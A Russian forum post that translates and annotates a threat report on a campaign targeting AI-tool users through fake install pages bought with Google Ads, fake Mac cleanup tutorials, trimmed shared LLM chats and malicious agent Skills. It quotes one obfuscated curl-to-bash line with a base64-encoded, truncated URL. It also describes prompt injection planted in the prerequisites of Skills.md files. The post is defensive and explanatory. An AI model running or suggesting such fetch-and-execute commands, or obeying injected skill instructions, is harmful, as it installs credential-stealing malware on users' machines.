Трафик на фишинговую компанию: интересные тонкости "упаковки" для жертв

Не удалось прогрузить медиа

ThreatBook Research and Response Team выявила и отследила организованную группу угроз, проводившую масштабную кампанию по распространению вредоносного ПО, нацеленной на пользователей популярных ИИ-приложений — OpenClaw, Claude, NotebookLM, Kimi, Qwen и других. Группа работает одновременно по четырём различным каналам распространения, и её методы представляют собой угрозу, которая, вероятно, будет широко распространена по мере роста внедрения инструментов ИИ.

Вектор атаки 1: фейковые страницы установки через Google Ads​

Когда пользователь ищет AI-приложение по названию - OpenClaw, Claude, NotebookLM - фишинговые страницы группы появляются выше легитимных результатов через платные размещения Google Ads. Реклама показывает только домен второго уровня. Сам фишинговый контент размещается на субдоменах третьего уровня, предоставляемых авторитетными платформами - Squarespace, Craft, Cloudflare Pages - что придаёт страницам визуальную достоверность и усложняет уничтожение инфраструктуры.


Страницы содержат убедительную документацию по установке как для macOS, так и для Windows, с внедрением вредоносных однострочных команд терминала вместо легитимных установщиков.
Пользователи, следующие инструкциям непосредственно запускают вредоносное ПО, крадущее учетные данные.
Социальная инженерия эффективна именно потому, что сценарий - поиск способа установить новый инструмент и следование лучшему результату - настолько рутинен.

Не удалось прогрузить медиа

Реклама в ADS, визуально отображается известный, популярный домен. Прием для повышения конверсии.

Вектор атаки 2: Технические обучающие приманки​

На ранних этапах кампании группа также нацеливалась на общие технические поисковые запросы: «как очистить дисковое пространство на Mac», «как показывать скрытые файлы на Mac». Использовался тот же механизм доставки Google Ads.

Не удалось прогрузить медиа

Фишинговые страницы этой категории содержат подробные, правдоподобные технические руководства, направляющие пользователей открывать терминал и выполнять определённые команды.
Команды - вредоносные полезные нагрузки.
Этот вектор показывает, что группа нацелена не только на пользователей инструментов ИИ - она в целом ориентирована на технически любопытных людей и адаптирует свои приманки соответственно.

Не удалось прогрузить медиа

Вектор атаки 3: Обмен разговорами LLM с добавлением подсказок​

Это, пожалуй, самый технически креативный вектор, который использует группа. Он использует функции обмена разговорами крупных языковых моделей, включая Kimi, для распространения вредоносных команд в формате, который кажется авторитетным.

Не удалось прогрузить медиа

Техника: создавать подсказки, специально разработанные для получения выходов с вредоносными терминальными командами, а затем делиться только той частью разговора, в которой эти команды появляются  урезая контекст, который выявит манипуляцию. Эти урезанные ссылки на переписку продвигаются через Google Ads.

Пример мутного автоперевода с английского, на который перевели авторы с китайского. О чем речь? 


Злоумышленники используют целевой промпт-инжиниринг против ИИ-ассистентов (типа Claude, ChatGPT и т.д.), чтобы те генерировали вредоносные терминальные команды (например, curl | bash, загрузку шеллов и т.п.).

Затем они:

1. Обрезают контекст - публикуют только ту часть диалога, где уже «красивая» и правдоподобная команда, но убирают предшествующие манипулятивные промпты, которые эту команду спровоцировали.
2. Публикуют урезанный скриншот или ссылку на чат (например, через ShareGPT или встроенный шаринг Claude).
3. Продвигают эти ссылки через Google Ads, выдавая их за «официальные инструкции по установке AI-тулов».

Пользователь кликает по рекламе, видит «официально выглядящий» чат с ИИ, копирует команду ... и заражается.

Не удалось прогрузить медиа

И человеческий перевод не очень был понятен. Пока не начинаешь рассмвтривать пример.

Что здесь происходит на самом деле - мой коммент​

Это фейковая страница «Reclaim disk space on your Mac» (Освобождение места на Mac). Вместо реальной очистки диска она предлагает выполнить в Терминале:


/bin/bash -c "$(curl -sSLf $(echo aHR0cHM6Ly9yYXJl... | base64 -d))"


Расшифровка:

• aHR0cHM6Ly9yYXJl... — это base64-кодированный URL. После декода (base64 -d) получается ссылка, по которой curl скачает удалённый скрипт.
• curl -sSLf ... — тихо скачивает этот скрипт.
• /bin/bash -c "$(...)" — и тут же исполняет скачанное в баше.

То есть жертва не просто «запускает очистку», а скачивает и выполняет неизвестный код с удалённого сервера.
Это типичный curl | bash вредоносный паттерн, только замаскированный под base64, чтобы не светить URL в глаза и обойти простые фильтры/проверки.

Почему «это работает»​

Потому что нижняя таблица социальная инженерия:

• System Scan
• Cache Cleanup
• Safe Recovery

Это легенда для жертвы, чтобы оправдать необходимость ввода команды в Терминал. На деле скрипт, который скачается по той ссылке, может ставить стилер, удалять/шифровать файлы, добавлять persistence, слать данные злоумышленнику и т.д.

Только теперь понятно, что именно имелось в виду в тексте: злоумышленники показывают «красивый» финальный кусок (вот, мол, команда очистки диска, вот табличка с безопасными фичами), но обрезают/скрывают контекст, что это результат манипуляции ИИ или фейковой инструкции, и что команда с полезной нагрузкой.

Хотя я бы это назвала иначе: шифрование (обфускация) полезной нагрузки под видом инструкции от "умного Клода".
С красивой, техничной словесной "обвязкой" под скриптом



Это не отравление моделей или загрязнение обучающих данных. Сама LLM не была скомпрометирована. Злоумышленник использовал механизм обмена платформой и доверие пользователей к контенту, созданному ИИ.

Когда пользователь сталкивается с одним из таких общих разговоров - сессией Кими, которая, похоже, отвечает на вопрос «как очистить место на диске на Mac» — результат неотличим от настоящей рекомендации.

Не удалось прогрузить медиа

Вот так эксплуатируется привычка доверять ИИ.

Здесь важный нюанс. В смысле неочевидный.
По рекламе жертва попадает на статичную страницу, оформленную в стиле технической документации от Клода.

Не удалось прогрузить медиа

здесь очень правдоподобная ссылка - примерно такая как в таблице выше

Вектор атаки 4: Вредоносные навыки/skills в репозиториях сообщества​

Популярный прием - создание и распространение вредоносных Skills -  конфигурационные файлы плагинов для AI-программных агентов, включая OpenClaw, Claude Code, Cursor и CodeX  через репозитории сообществ, включая Clawhub и SkillsMP.

Не удалось прогрузить медиа

Вредоносный контент встроен в раздел Предварительных требований Skills.md файла, используя инжекцию подсказок, чтобы агент ИИ выполнял команды, контролируемые злоумышленниками, при вызове навыка. Этот вектор не требует действий пользователя, кроме установки и активации навыка.

Выводы​

В чем логика публикации (перепоста с переводом и комментами).
Да,  ничего сверхнового нет, но зато расписано по шагам и проиллюстрированно, поэтому показалось полезным, интересным. И однозначно не лишним на форуме.

Хотя применение обфусцированных команд со стороны ИИ, в тексте мануала "как установить ИИ" вкупе с соответствующим легенде урлом загрузки с малварью - это довольно трастовый вектор, на мой взгляд.